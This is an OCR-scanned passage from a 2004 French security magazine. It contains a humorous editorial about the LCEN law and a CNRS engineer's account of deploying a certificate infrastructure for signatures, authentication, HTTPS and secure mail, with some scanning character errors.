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Edito

Et si la CUISINE était un art ...

Voici venu le temps, des rires et des chants ... et manifestement des crépes
aussi etant donné le nombre de mails que j'ai regu suite a mon edito
précedent.

Clest I'été, il fait chaud, les CPU s'emballent et les ventilos tournent
toujours plus vite, au contraire de mon cerveau qui ralentit. Sans doute
un kilometrage trop éleve. Du coup, je demande conseil a ma tendre
moitié qui me propose de lui dédier un édito : c'est chose faite :-]

Mais je ne suis pas plus avance pour autant ... quoique.

Je commencerai par citer un directeur dans un grand groupe frangais
que |'ai eu |'occasion de croiser il y a peu :« la seule chose qui nous sauve
vis-a-vis de nos clients, c'est qu'ils sant encore plus nuls que nous ! »

Et malgré ce constat affligeant, il n'avait pas la moindre envie de developper
les compétences de ses equipes. Effectivement, on peut comprendre (a
défaut d'accepter) son point de vue : si les clients sont contents comme
cela, pourquoi s'embeter ?

Pour autant, je trouve cette attitude révélatrice d'un manque profond lié
a une inculture, 2 une méconnaissance, voire une incompréhension
generale du domaine qui nous intéresse {je parle bien sur de la CUISINE,
LCEN oblige). Cela traduit d'une part que les personnes qui souhaitent
utiliser des solutions de CUISINE ignorent completement ce dont elles
ont en realite besoin, mais aussi ce qui est possible. Du coup, en face, on
trouve encore des vendeurs qui proposent des solutions cle en main qui
réglent tous les problemes, ou bien des "trucs” joliment emballés mais
qui ne servent a rien de plus que collecter la poussiére dans les placards.

Pourtant, il me semble que la CUISINE s'apparente plus 3 un art, ou tout
au moins dans une certaine mesure : les marmitons preparent les elements
de base, les cuisiniers les assemblent, et le chef ordonne ce ballet afin de
marier les golts et les textures le plus harmonieusement possible. Ca
ne vous rappelle rien ?

Et 13, on se retrouve dans la situation ol un client entre dans un restaurant
sans jamais avoir rien mangé auparavant. Du coup, comme il n'a aucune
éducation gustative, tout ce qu'on |ui sert, pour peu que ce soit bien
présenté, lui semble merveilleux : puisque c'est si bien présenté et si cher,
£a ne peut pas tre mauvais.

Le mot est lache : tout est question d'education. Et cela est tout autant
valable pour le concepteur de "recettes” que pour celui qui les gotte.

Les initiatives se multiplient pour donner accés a cette connaissance (au
passage, si vous avez malencontreusement rate SSTIC 04, dommage pour
vous ;-) De plus en plus de personnes prennent conscience que la CUISINE
ne pourra etre meilleure que si tout le monde fait des progres, du
cultivateur/éleveur au consommateur. Il s'agit d'un défi qui concerne tout
le monde, et qui ne pourra étre résolu par une quelcongue solution
miracle.

Fredéric Raynal

B Si par hasard la LCEN ertait rejetée par le Conseil Constitutionnel,
remplacer le mot CUISINE par Sécurité Informatique dans le present edito.
Dans le cas contraire, ce Post Scriptum devrait se détruire dans 30s. Et si
ce n'est pas le cas, merci de I'effacer par vous-méme. B
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Déploiement d'une IGC

au CNRS : retour d’expérience

Introduction

Le CNRS a décideé en 2000 de déployer une Infrastructure de Gestion de Cles
(IGC). Cette opération est lourde, complexe, avec de forts impacts sur
l'organisation. Elle s'est déroulee en trois phases, chacune impliguant davantage
d'acteurs : tests, pilote, déploiement généralisé et progressif. Nous en sommes
a cette derniere phase, il est possible d’en effectuer un premier bilan. Precisons
que s'il a participé activement aux differentes phases, l'auteur de ces lignes
n'est ni le responsable du projet, ni un développeur du logiciel, il a en charge
le systéme d'information d'un laboratoire [}]. Le point de vue sera donc celui
d'une personne qui, sur le terrain, utilise les possibilités offertes par les certificats
pour améliorer les services offerts aux utilisateurs tout en assurant une bonne
securite.

Nous verrons comment les objectifs initiaux ont été reévalués. En particulier,
si [a signature électronique etait I'une des applications privilégiees a l'origine,
l'utilisation de certificats pour authentifier et sécuriser les connexions s'est
avérée prendre davantage d'importance. De méme, les besoins en chiffrement
qui avaient volontairement été laissés de coté se manifestent aujourd'hui.

Les aspects techniques, organisationnels concernant les |GC ayant été traités
dans le précédent numeéro de MISC, nous nous intéresserons plus
particulierement aux différentes applications sécurisées a I'aide de certificats
et aux reactions des utilisateurs.

Signature électronique
Signature de documents

Dans un organisme comme le CNRS, au personnel réparti sur de nombreux
sites et o s'échangent de trés nombreux documents administratifs, ['utilisation
de la signature electronique pour améliorer |'efficacité a semblé étre une
application logique des certificats. Cependant, il faut constater que celle-ci
n'a pas encore repondu aux espoirs, sans doute exagéres, places en elle. |l
convient d'analyser les raisons de cet echec, ou du moins de ce retard.

La premiére raison est lie a I'absence de produits fiables et simples d'utilisation
permettant de signer et de vérifier des documents. || a fallu attendre les
toutes dernieres versions pour que la signature électronique soit intégrée
aux traitements de texte usuels (Office XB Acrobat 6) avec toutes les réserves
lices a la complexité du format [2].

Aujourd’hui, dans le contexte du CNRS, pour signer un document, la seule
méthode qui semble réaliste en termes de développement, de facilité
d'utilisation et déploiement est de le faire a partir d'une application Web. Par
exemple, 'approbation par l'autorité d'enregistrement (AE) d’'une demande
de certificat se fait en signant a l'aide d'un Javascript la demande qui est
affichée dans une fenétre du navigateur. Malheureusement, la fonction Javascript
(signText) qui existait dans Netscape 4.7 a eteé supprimee des versions
ultérieures. Il a fallu attendre la toute derniére version (1.7) de Mozilla pour
qu'elle soit retablie.

Aussi il a ete développé une applet Java [3] permettant
de signer des documents. Cependant du fait du modele
de securité de |ava et de |'exigence d'accéder i des
ressources comme le magasin contenant le certificat, qu'il
soit sur disque ou sur un support cryptographique
externe (carte a puce, token USB), son installation sur le
poste de travail reste délicate.

Un autre obstacle au déeveloppement de la signature
numeérique réside dans le fait que parmi les personnes
qui seraient les plus a méme de ['utiliser, on trouve deux
catégories. D'une part celles qui ont atteint des niveaux
de responsabilité importants. Souvent, I'utilisation de
I'outil informatique leur est venue plus tardivement, ce
qui entraine une moins grande aisance que pour ceux
qui se servent d'ordinateurs depuis ['enfance. En outre,
leurs nombreuses tiches leur laissent peu de disponibilite
pour acqueérir une meilleure maitrise de ce qui, finalement,
n'est qu'une technique largement etrangeére a leurs
préoccupations principales. D'autre part, celles qui
occupent des fonctions administratives. De par leur
formation, leur culture, elles présentent généralement
une plus grande reéticence pour les techniques nouvelles
de I'informatique que celles qui participent directement
a la recherche et dont c'est le métier d'innover. En matiére
de signature électronique, la demande serait plutét du
cote des chercheurs qui souhaiteraient se faciliter la vie
avec les nombreux formulaires a remplir et a envoyer
tandis que les réticences se situerajent du cote de
I'administration. Cependant, seule cette derniere a
I'initiative en la matiere. Le developpement de la signature
électronique ne pourra se faire que s'il y une decision en
ce sens de la direction de 'organisme.

Une autre réticence vis a vis de la signature électronique
provient du fait que I'on applique le “principe de
precaution” en ayant systématiquement les exigences les
plus élevees comme vouloir une “signature electronique
presumee fiable". Celles-ci sont tres difficiles a satisfaire
au niveau de la technique et de I'organisation. Si on me
demande de pouvoir assurer que dans quelques dizaines
d'années, il sera toujours possible de faire confiance a
une signature alors que les certificats auront expire, que
les logiciels utilisés auront disparu, que les algorithmes
de chiffrement et les clés utilisées n'auront pas forcement
résisté aux progres de la crypto-analyse et a I'amelioration
constante des performances des machines, je réponds
que cela va étre treés difficile, tres codteux. |l va falloir
mettre en ceuvre toute une organisation pour
périodiguement revalider les signatures, faire appel a des
tiers de confiance qui vont jouer le réle de notaires. De
fait, tous les documents n'ont pas les mémes exigences
en matiére de signature que |'acte de vente d'un bien
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immeobilier. Bien des documents ont une durée de validité
pratique limitée et ne sont donc pas concernes par
I'expiration des certificats, n'ont pas besoin d'étre datés
a la seconde prés, ce qui évite la mise en place d'un service
d'horodatage. Lorsque I'on constate que bien souvent
on se contente d'un fax dont le niveau de sécurité reste
relativement faible, on se rend compte que ["attitude
paranoiaque vis a vis de la signature électronigue n'est
pas toujours justifiée. Le réalisme suggére de s'intéresser
a la grande majorité des documents dont la signature n'a
qu'un besein modere de sécurité. La realisation n'exige
pas alors des moyens démesures.

La signature électronique prouve ['identité du signataire
d'un document mais n'assure en rien que celui-ci avait
bien I'autorité pour le faire. Mais avant de faire un mauvais
proces 2 la signature électronique, il faut constater que
la situation est rigoureusement la méme avec la signature
manuscrite. Les problémes de delégation de signatures
sont certes trés compliqués mais il ne faut pas espérer
que la technique puisse resoudre des difficultés qui sont
essentiellement d'ordre organisationnel.

Signature de messages

Si on considere le cas plus restreint de la signature de
messages électroniques, [a situation est beaucoup plus
favorable. Tout d'abord, il existe une norme S/MIME pour
signer les messages ; elle est implémentee dans différents
outils de messagerie. L'utilisation en est simple, il suffit
de cocher une case dans les préférences pour indiquer
que |'on souhaite envoyer des messages signés. Comme
les messages sont en principe de simples textes et non
pas des documents au format complexe comme ci-dessus,
il y a peu d'ambiguité sur ce qui est signé. Certes, il est
toujours possible de joindre dans un message signe
n'importe quel fichier ou document mais comme nous
I'avons vu précédemment, cette pratique n'est pas
forcément recommandable. Pour vérifier la signature d'un
message il n'est pas nécessaire de disposer soi-méme
d'un certificat personnel, il suffit que celui de l'autorite
de certification soit defini dans |'outil de messagerie.

La signature électronique des messages est donc bien
plus simple 2 mettre en ceuvre. De fait, les premiers
deétenteurs de certificats électroniques au CNRS ont
généralement pris 'habitude de signer leurs messages.
En particulier tous les avis de sécurité diffusés aux
différents correspondants dans les laboratoires sont
signés. Cela permet de se prémunir contre de faux avis
diffuses avec I'adresse usurpée d'un vrai responsable,
cette situation est déji arrivée.

En definissant des regles qui aiguillent automatiquement
tous les messages signés vers un dossier spécifique, on a

un moyen de se faciliter la vie face au spam qui pollue chague jour davantage
les boites aux lettres. En effet, aujourd’hui les “spammeurs™ ne signent pas leurs
messages et il y a peu de chance qu'ils le fassent dans I'avenir car ils tiennent
trop a leur anonymat. Si le courrier signe est encore tres minoritaire, il est
généralement important, par conséquent le traiter prioritairement a un sens.

Signature de code

Il est possible que la signature des logiciels soit dans I'avenir |a réponse au
déferlement des virus, vers ou autres codes malicieux. Mais pour gu'elle soit
efficace il faudrait qu'elle soit généralisée.

Le seul cas ol la signature de code a éte reellement utilisee concerne les
applets Java, En effet, le modeéle de securité de Java impose qu'une applet soit
signée si I'on veut qu'elle puisse faire des choses un tant soit peu utiles comme
ouvrir un fichier sur la machine locale ou bien se connecter a une machine
distante. Cela ne va pas sans difficulté. Tout d'abord, le format des fichiers et
les outils utilisés pour les signer sont différents pour Microsoft (.cab) et pour
Netscape/Morzilla (.jar). Ensuite, il ne suffit pas d'avoir une applet signee pour
pouvoir effectuer certaines actions réputées dangereuses, il faut aussi que la
politique de sécurité définie sur le poste de travail le permette. On se heurte
alors aux problémes posés par le déploiement d'outils et de parameétrages
sur de nombreux postes.

Une autre question posée par la signature de code est de savoir qui va signer.
Ce peut étre, comme c'est toujours le cas aujourd'hui, le programmeur qui
va utiliser son certificat personnel. Mais pour la diffusion d'un logiciel a une
large communaute, on ressent e besoin d'un certificat plus institutionnel
montrant sa validation par I'organisme. Si la signature de code reste a ses
balbutiements, 'existence d’une IGC permet d'étre préparé pour le jour ou
le besoin s'en fera réellement sentir.

Pseudo signature

Comme nous le verrons par la suite, I'envoi a un serveur Web d'un formulaire
en utilisant une connexion securisee avec authentification mutuelle par certificats
constitue presque I'équivalent d'un document signe. En effet, la communication
n'a pu étre interceptée et 'expéditeur est diment authentifie. Certes, toutes
les caractéristiques de la signature électronique ne sont pas verifiées et il faut
faire confiance au serveur. Cependant, pour bien des applications ne demandant
pas un haut niveau de sécurité, cela parait largement suffisant. A titre d'exemple
on peut citer la demande de jours de congé. L'authentification de I'émetteur
d'un formulaire est une forme d'alternative a la signature qui semble promise
a un large avenir.

Authentification

Limitations de U'authentification
par mots de passe

L'authentification est I'opération qui permet de prouver son identité a son
interlocuteur: La méthode habituelle repose sur I'utilisation d’un secret partage
entre les deux interlocuteurs : il s'agit du classique mot de passe associé a
un identifiant. Limplémentation pratique de la méthode sur de nombreux
produits présente bien des faiblesses.

#00T 0ol - ] 251




TEMOIGNAGE

"

Déploiement d'une IGC au CNRS : retaur d'expérience

Misc 14 - juillet/acit 2004

La premiére est incontestablement celle qui fait transiter en clair sur le réseau
le mot de passe. Bien entendu, il existe des parades comme d'utiliser des
mots de passe a usage unigue, de procéder par un échange de défi reponse
ou tout simplement chiffrer la transmission. La réalité est que la plupart des
protocoles ont été congus a une époque ou la sécurité n'était pas aussi
importante qu'aujourd’hui Certes, des extensions ont éte développées prenant
en compte cette necessité, mais hélas 'implementation dans bien des produits
fait defaut. De plus, la pléthore de méthodes, dont certaines sont propriétaires
qui sont utilisées pour sécuriser les mots de passe ne facilite pas
l'interopeérabilité des produits.

Il est possible de concevoir un systeme de mot de passe robuste comme SRP
[4]. Face aux différentes attaques possibles, par écoute, par rejeu, par force
brute, par dictionnaire, par entremetteur (man in the middle}, les différentes
meéthodes ne sont pas égales et ne parent souvent que |'écoute, Quant a vouloir
assurer |'authentification mutuelle, c’est genéralement une autre histoire.

Pour pouvoir effectuer l'authentification de l'interlocuteur, son mot de passe
doit étre connu, ce qui constitue en soj un risque de divulgation. Le fait
d'utiliser; plutét que le mot de passe en clair; une empreinte (hash) de celui-
ci ne résout pas tous les problémes car une attague par force brute ou par
dictionnaire reste toujours possible. En principe, il faudrait un secret partagé
par couple d'interlocuteurs, ce qui conduit a leur rapide multiplication (de
I'ordre du carré du nombre de ceux-ci).

Pour pallier les problémes liés a la multiplication des mots de passe, le concept
de " Single Sign On” (S50) a été developpé. Pratiquement, cela repose soit
sur un magasin sécurisé qui contient I'ensemble des identifiants et mots de
passe utilisés, soit sur un jeton délivré par un serveur d'authentification. De
fait, il n'est pas toujours facile d'adapter les applications existantes au SSO.
En outre, il ne faut pas sous-estimer les contraintes d'organisation posées
par la délivrance de mot de passe aux individus.

L'apport des certificats électroniques

Les certificats electroniques permettent d'effectuer de 'authentification.
Généralement, cette méthode a été considérée comme trop contraignante
car nécessitant une |IGC.Au CNRS, l'installation d'une IGC et le déploiement
de certificats étant acquis, cet obstacle tombe.

Le principe de I'authentification par certificat repose sur le fait que seul son
propriétaire détient la clé privée. La clé privée est générée et reste sur le
poste de travail de l'individu ou mieux encore sur un support cryptographique
comme une carte a puce. A des fins de sauvegardes ou de changement de
matériel, il est possible d'exporter un certificat et sa clé privée dans un fichier
protége par un mot de passe. Cette opération est impossible, par construction,
avec une carte a puce ou son équivalent en “token USB", ce qui accroit
grandement la sécurité. Par rapport a la technique du secret partagé (mot
de passe) c'est un immense progres. |l suffit d'un seul secret (la clé privée)
par individu et non plus par couple d'interlocuteurs. Les risques eventuels
de divulgation de la clé privée sont plus réduits, plus facilement détectables
et restent sous le contrdle du seul propriétaire. Pour s'emparer de la clé
privée d'un individu, il faut attaquer, voler son poste de travail ou sa carte a
puce. Avec un mot de passe, indépendamment de I'échange initial avec le
serveur qui reste probablement un maillon faible de la methode, il faut faire
confiance au serveur pour qu’'il en assure correctement la protection.

En matiere de sécurisation par certificats, un seul protocole s'est réellement
imposé :TLS. Il s'agit de la reprise par I'lETF de SSL développé a I'origine par
Netscape. Les problémes d'interopérabilité sont donc considérablement réduits.

TLS permet l'authentification mutuelle des interlocuteurs en utilisant un
certificat pour le serveur et un autre pour le client. Trés peu d'implémentations

de méthodes utilisant des mots de passe permettent
cette authentification mutuelle. Généralement, seul le
client est authentifié. Lorsque |'on souhaite aussi que le
serveur s'authentifie vis a vis du client, ce qui est
nécessaire pour eviter les attaques par entremetteur, on
utilise alors une authentification a l'aide de certificat. Le
déploiement de certificats pour des serveurs est une
operation plus simple que celle impliquant tous les
individus et qui peut étre facilement sous-traitée.
Cependant, la structure trés décentralisée du CNRS
impligue I'existence de nombreux serveurs. Les premiéres
études concernant l'acquisition et la maintenance des
certificats nécessaires aupres d'une sociéte specialisée
ont montre un coiit prohibitif. Cette methode mixte,
certificat pour le serveur, mot de passe pour le client,
n'est donc pas, dans ce contexte, forcément rentable vis
a vis de ['utilisation exclusive de certificats.

Si les certificats électroniques permettent d'authentifier
un individu, il faut aussi un mécanisme permettant de définir
les autorisations liges a cet individu. Certes, dans le cas le
plus simple, il est possible de décider que tout individu
ayant un certificat valide peut acceder a telle ressource,
mais généralement cela ne suffit pas. Il faut mettre en
ceuvre une organisation pour administrer ces droits. La
charge de travail n'en doit surtout pas étre sous-estimée.

Chiffrement

Actuellement, les certificats délivrés par I'NGC du CNRS
ne sont pas prévus pour effectuer du chiffrement. La
bonne pratique, cela peut méme étre une obligation
legale, exige d'utiliser des certificats differents pour les
opérations de chiffrement et celles de signature et
authentification. Un séquestre des cles privées de
chiffrement est indispensable. En effet, en cas de perte
de la cle privée ou tout simplement d'oubli du mot de
passe la protégeant, il faut prévoir un mécanisme de
recouvrement sous peine d'avoir des donnees chiffrées
qui deviennent inexploitables. Si la génération et la
délivrance par I'lGC des certificats de chiffrement et des
clés associées ne posent guere de difficultes techniques,
les contraintes opérationnelles en termes de securite et
de disponibilité sont tres fortes. En effet, il ne faut qu'en
aucun cas les clés privées puissent étre dérobées ou
perdues. Dans la phase pilote ces contraintes ont éte
estimées comme étant trop fortes pour que l'on délivre
des certificats de chiffrement. Maintenant que
I'exploitation de I'IGC a été confiée a la direction des
systémes d'information, ce choix va étre reconsidere.

Le fait que I'on ne délivre pas de certificat de chiffrement
n'interdit pas de fait d'envoyer des documents chiffrés.
Clest le cas lors de la délivrance par I''GC des certificats
serveur et de leur clé privee associee. A titre plus
anecdotique, pour envoyer a un collegue a fin d'analyse
un document contenant un virus, on peut le chiffrer pour
éviter qu'il ne soit intercepte par un anti-virus sur une
passerelle de messagerie. De toute fagon, en cas de perte
de la clé privée, les conséquences restent bénignes.




L'utilisation de certificat de chiffrement n'est pas
nécessaire pour assurer la confidentialité des échanges
sur le reseau. Il suffic d'échanger, par un mécanisme de
Diffie-Hellman, entre les deux interlocuteurs une clé
symétrique de session. L'utilisation de l'authentification
par clés asymeétriques permet d'assurer la protection
contre les attaques de type entremetteur.

Aujourd'hui, plus que I'envoi de courriers ou de documents
confidentiels, le principal besoin qui émerge en matiere
de chiffrement concerne les données stockees sur les
ordinateurs portables. Le chiffrement est la seule fagon
d'assurer la confidentialité en cas de perte ou de vol,
éventualité qui est loin d'étre négligeable. Evidernment, il
est possible de considérer que la perte d'une clé privée
ramene au cas de la disparition d'un ordinateur ou il faut
reconstituer les données a partir des sauvegardes. Mais il
va étre trés difficile d'expliquer au malheureux qui a oublie
son mot qu'il n'y a aucun autre moyen de recouvrer ses
données autrement qu'a:partir de sauvegardes a condition
que celles-ci ne soient pas elles-mémes chiffrées. Dong, il
faut un mécanisme de séquestre et de recouvrement.

Les outils pour le chiffrement des donnees sont
actuellement a I'étude. |l est donc envisagé de délivrer
dans un proche avenir des certificats de chiffrement.

L'organisation de U'IGC du CNRS

On a I'habitude de dire qu'une IGC c'est 80%
d'organisation et 20% de technique. L'expérience du
CNRS ne contredit pas ces chiffres. Le logiciel gérant
I'NGC a été développé en interne a partir de produits
“open source” comme OpenSSL, OpenlDAP. Linterface
avec ['utilisateur (individu demandant un certificat, autorité
d'enregistrement) est une interface Web. S'il existe
d'autres |GC open source [5], il faut noter qu'une part
importante de la programmation est liée a des spécificités
de l'organisation comme les procédures d'enregistrement
et de validation, les interfaces graphiques, les ecrans d'aide.

Une IGC suppose une démarche trés formalisée. Ceci se
traduit dans la rédaction d'un certain nombre de
documents décrivant les procédures utilisées comme la
Politique de Certification (PC) et la Declaration des
Pratiques de Certification (DPC) [6]. De fait, ces documents
qui sont a la base de I'lGC ont été rédiges aprés coup.

Pour simplifier nous allons décrire comment se passe
l'attribution d'un certificat personnel. L'utilisateur remplit
a partir de son navigateur un formulaire avec son identite,
son adresse électronique, son numero de telephone, le
nom du laboratoire. Ce formulaire est traité par I'lGC
qui envoie un message de demande de confirmation a
I'adresse electronique afin de s'assurer de sa validite.
L'utilisateur répond a ce message. L'|GC transmet la
demande pour approbation a l'autorité d'enregistrement
(AE) qui est en droit le directeur du laboratoire mais est
genéralement délégue. LAE recoit un message, elle vérifie
que le demandeur a bien le droit de demander un
certificat et prend contact avec lui pour s'assurer que la
requéte n'a pas été usurpée et confirme la demande en

la signant 4 partir d'un formulaire Web. LIGC envoie dans un message I'URL
sur laquelle l'utilisateur doit pointer pour récupérer son certificat.

Tant pour les utilisateurs que pour les autorités d'enregistrement, les
opérations sont simples et rapides. En revanche, toutes les notions liees aux
certificats sont difficiles & appréhender et font un peu peur. Un immense
effort de formation est donc nécessaire. C'est pourquoi aussi, dans un premier
temps, les AE sont généralement des informaticiens méme s'il s'agit d'une
tiche purement administrative.

Il ne faut pas croire que ['utilisation de SSO serait nécessairement plus simple
en matiére d’organisation. De toute facon, il faudrait bien une autorité pour
décider qui a droit i un identifiant et un mot de passe, donc des procedures
a mettre en ceuvre. L'introduction des certificats et la désignation d'une AE
dans un laboratoire peut étre |'occasion de reconsidérer la politique de
sécurité, notamment en ce qui concerne |'attribution des différents comptes
et droits associés. Indépendamment de tout aspect technique, la formalisation
des procedures qu'impligue une IGC amene a revoir I'organisation du systéme
d'information. Tout ceci contribue a 'ameélioration globale de la securité.

Actuellement, il y a 320 certificats serveurs et 1830 certificats personnels
valides. Depuis le début de I'année, une moyenne de 200 certificats est délivree
par mois.

Listes de révocation

La révocation des certificats a toujours constitué un point délicat de toutes
les IGC. La méthode classique repose sur la publication de listes de certificats
révoqués (CRL). Outre les faiblesses intrinséques liees notamment au fait
qu'il s'ecoule un certain délai entre la révocation d'un certificat, la publication
de la liste et sa récupération, il faut constater que ce qui péche c’est
l'implémentation plutdt médiocre qui en est faite sur les différents produits.
Il faut cependant reconnaitre un certain progres ; ainsi, avec les derniéeres
versions de Mozillz, il est possible de récupérer automatiquement les CRL
avant expiration ou avec une fréquence donnée.

Comme nous avons pu le vérifier au CNRS, il est nécessaire de dimensionner
correctement le serveur pour traiter toutes les requétes de CRL. Le
phénomene est aggravé par le fait que la plupart des serveurs utilisent un
meécanisme de crontab qui déclenche régulierement et au méme moment
pour tous une récupération de CRL.

L'autre solution consiste a interroger un serveur OCSP (Online Certificate Status
Protacol) qui va indiquer si un certificat est révoqué ou non. Malheureusement,
encore trés peu de produits implémentent ce protocole, a I'exception notable
de Morilla, et les serveurs OCSP manquent encore de maturité.

L'utilisateur qui constate ou suspecte la compromission de sa clé privée le
signale a 'AE. De méme, en cas de départ d'un possesseur de certificat, I'AE
devrait étre mis au courant. Celui-ci demande alors la révocation du certificat.
Plus que des problémes techniques bien réels lies a la gestion des listes de
révocation, le principal risque provient souvent du délai entre 'évenement
justifiant la révocation et sa constatation.

Revue d’applications utilisant les certificats
Web

L'utilisation de HTTPS pour securiser I'acces a un serveur YVeb depuis un
navigateur est incontestablement la plus importante application des certificats.
Historiqguement, c'est d'ailleurs pour cela que Netscape a développé SSL. Ce
protocole est aujourd’hui implémente sur les principaux navigateurs et serveurs
Web utilisés. Son utilisation ne pose pas de probléme d'interopérabilité, elle
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reste relativement transparente pour l'utilisateur. Les échanges sont chiffrés,
ce qui assure la confidentialité des informations transitant sur le réseau.

Le serveur est authentifié a I'aide de son certificat. Cela permet a I'utilisateur
d'étre certain qu'il s'adresse au bon serveur et non pas 4 celui d'un pirate qui
aurait intercepté la connexion. On se prémunit ainsi des attaques par
entremetteur. Pour vérifier le certificat du serveur, le client doit avoir installé
et valide dans son navigateur (Netscape, Mozilla) ou bien dans un magasin de
certificats gére par |le systéeme (Windows et Internet Explorer) le certificat
de ['autorité de certification ayant délivré le certificat du serveur.

Ce point est délicat. Un certain nombre d'autorités de certification sont définies
par défaut dans le systéme d'exploitation ou le navigateur. Peut-on faire confiance
a toutes sachant que la liste dépend essentiellement d'accords commerciaux
avec les sociétés delivrant des certificats. Probablement pas. |l est possible d'en
supprimer manuellement certaines de la liste, cependant nous avons constaté
que l'installation d'une mise a jour du systéme ou d'une nouvelle version du
navigateur rétablissait la liste par défaut. L'autorité de certification du CNRS
n’étant pas reconnue par défaut, il faut I'introduire sur chaque poste de travail.
L'opeération est certes relativement aisée, il suffit de se connecter a une URL
et de cocher quelques cases pour valider |e certificat. En revanche, si on veut
éviter la possibilité d'introduire le certificat d'un pirate qui se fait passer pour
le CNRS, il faudrait systematiquement comparer 'empreinte du certificat recu
avec celle transmise par un canal sir comme une feuille imprimée transmise
de la main a la main ou tout simplement envoyée avec le bulletin de paie.
L'experience montre que c'est beaucoup trop demander aux utilisateurs. On
ne peut envisager que quelques pistes pour une solution a ce probleme de
confiance. Il est possible d'installer le certificat du CNRS lors de ['installation
des postes de travail. Mais rares sont les endroits ou il existe des procédures
et des hommes pour les mettre en ceuvre. De fait dans la plupart des cas, le
poste de travail est directement installé par |'utilisateur final. Une autre idée
consisterait a diffuser des outils mettant a jour la base des autorités de
certification ou des navigateurs préconfigurés. Mais on se heurte a I'extréme
diversité des materiels et logiciels.

Le client peut étre authentifié a I'aide d'un certificat client. Cette possibilité
est rarement employée par les différents sites Web sur Internet qui utilisent
alors, lorsqu’elle est requise, une authentification par mot de passe.Au CNRS,
nous avons constateé que, de fait, 'authentification par certificat était plus
simple a mettre en ceuvre. |l n'y a ni compte ni mot passe a gérer sur le serveur,
il n'est pas nécessaire de développer des applications gérant l'authentification.
Si nous prenons I'exemple d'Apache, le serveur Web le plus répandu, il suffic
d’écrire quelques directives dans le fichier de configuration général du serveur
ou particulier a un nceud de I'arborescence (. htaccess) pour controler I'accés
aux pages Web. Il a été developpé au CNRS un module pour Apache [7] qui
permet d'affiner le contrdle en consultant un annuaire LDAP pour savoir si
le détenteur du certificat est autorisé ou non.

De fait, de plus en plus d'applications ont une interface Web. Au CNRS,il a été
décidé que désormais toutes les nouvelles applications auraient une interface
V¥eb. Pour les serveurs Y¥eb ne supportant pas HTTPS, il est possible de mettre
en place un relais HT TP inverse qui va prendre en charge le protocole HTTPS
et l'authentification du client par certificat et retransmettre les requétes HTTR.

L'utilisation de certificats serveur et personnel s'est révélée |'outil ideal pour
sécuriser l'accés a un Intranet. On peut citer le projet Intranet du département
STIC du CNRS qui a conduit au developpement du logiciel A2C2 (Acces aux
Applications Controélés par Certificats) [8].

Courrier électronigue

La principale demande des utilisateurs nomades est de pouvoir gérer leurs
messages depuis I'extérieur. Les implementations par les différents outils de
messagerie des protocoles (POP3 et IMAP) qui servent a accéder aux boites

aux lettres ne permettent pratiquement pas d'utiliser
une autre méthode d'authentification que celle qui repose
sur un mot de passe en clair. Ceci est évidemment
inacceptable en matiére de sécurité. En outre, le mot de
passe est transmis a chaque fois que l'on interroge le
serveur pour savoir si des messages sont disponibles ce
qui accroit considérablement les risques. Certes, certains
produits offrent la possibilite d'utiliser de fagon plus sire
les mots de passe, mais l'interopérabilité est loin d'étre
assuree et trés souvent la gestion des mots de passe
s'effectue sur le serveur de courrier indépendamment
des autres applications, ce qui signifie que I'utilisateur va
avoir a gerer plusieurs mots de passe. Tout ceci conduit
a interdire les connexions en POP3 ou IMAP depuis
I'extérieur.

Une premiere solution repose sur I'emploi d'un Vvebmail.
C’est une application qui tourne sur un serveur Veb.
Elle permet a un utilisateur a travers des pages HTML
généreées dynamiquement d'accéder a sa messagerie
électronique pour lire ses messages, les supprimer. les
archiver, en envoyer de nouveau. Comme le seul préalable
est que |'utilisateur dispose d'un simple navigateur,
pratiquement n'importe quelle machine dans le monde
peut étre utilisee a cette fin. La securisation des echanges
se fait en utilisant comme nous I'avons vu ci-dessus le
protocole HTTPS. Le contexte d'utilisation fait que I'on
renonce a |'authentification de l'utilisateur a I'aide d'un
certificat au profit d'un classique couple identifiant, mot
de passe en clair. Puisque tout le trafic est chiffre, ce mot
de passe ne peut étre intercepté sur le réseau.
L'authentification n'est certes pas aussi forte que celle
que I'on pourrait avoir avec un certificat personnel. Mais
ce serait une trés mauvaise idée en matiere de securité
que d'installer son certificat et surtout la clé privée
associée sur une machine que 'on ne controle pas. En
effet la clé privee pourrait aprés coup étre recupérée
sur le disque de I'ordinateur et méme si celle-ci est
chiffrée en utilisant un mot de passe, rien ne garantit que
ce dernier ne va pas étre cassé a ['aide d'une attaque par
force brute ou par dictionnaire.

La deuxieme solution réservée a des machines que
['utilisateur maitrise utilise les versions sécurisées a ['aide
de SSL/TLS des protocoles d'acces au courrier : POP3S
et IMAPS. Avec POP3S et IMAPS les echanges sont
chiffrés, ce qui d'une part assure la confidentialité mais
surtout évite de faire circuler en clair le mot de passe
On élimine ainsi une des causes majeures d'intrusion sur
les reseaux. Les versions recentes des outils de
messagerie comme Outlook ou Netscape Messenger
determinent si le serveur de courrier supporte le
protocole sécurisé (TLS) et dans ce cas bascule
automatiquement en mode sécurisé en langant une
commande “startls”. Ceci est trés appréciable car
l'utilisateur n'a rien a faire pour obtenir par defaut une
connexion securisee. L'administrateur a juste a installer
une version supportant TLS du serveur et i le configurer
pour accepter les connexions sécurisées et refuser celles
qui ne le sont pas, du meins pour celles en provenance
de I'extérieur. || est possible avec les versions sécurisées




des protocoles d'utiliser des certificats personnels pour
authentifier l'utilisateur. La méthode d'authentification
est alors évidemment plus forte. Elle permet aussi d'utiliser
des supports matériels (carte a puce, jeton USB). Puisque
I'utilisateur est parfaitement authentifié a l'aide de son
certificat, il n'est théoriquement plus necessaire d'utiliser
aussi une authentification par mot de passe.

L'envoi de messages se fait en se connectant  un serveur
a l'aide du protocole SMTP. Ce serveur va relayer le
message vers d'autres serveurs afin qu'il soit distribué
au bon destinataire. Pour éviter de servir d'amplification
de courrier non sollicités (spam), une bonne pratique
est d'interdire sur tout serveur SMTP le relais de
messages dont les adresses de I'expediteur et du
destinataire sont toutes deux externes. Seuls sont
autorisés les messages émis a l'intérieur pour I'extérieur
et ceux provenant de I'extérieur vers l'intérieur. Ceci
oblige un utilisateur nomade connectant son ordinateur
portable sur un réseau a se renseigner pour connaitre
le relais SMTP local et a modifier en conséquence la
configuration de I'outil de messagerie puisque le relais
qu'il utilisait lorsqu'il était i l'intérieur va refuser ses
messages. Pour éviter ceci, il est possible d'utiliser SMTPS,
la version sécurisée du protocole avec authentification
par certificat personnel. En effet, autoriser le serveur
SMTP a relayer des messages provenant de I'extérieur
mais d'utilisateurs diiment authentifiés n'ouvre aucune
breche dans la sécurité. En outre, les échanges sont
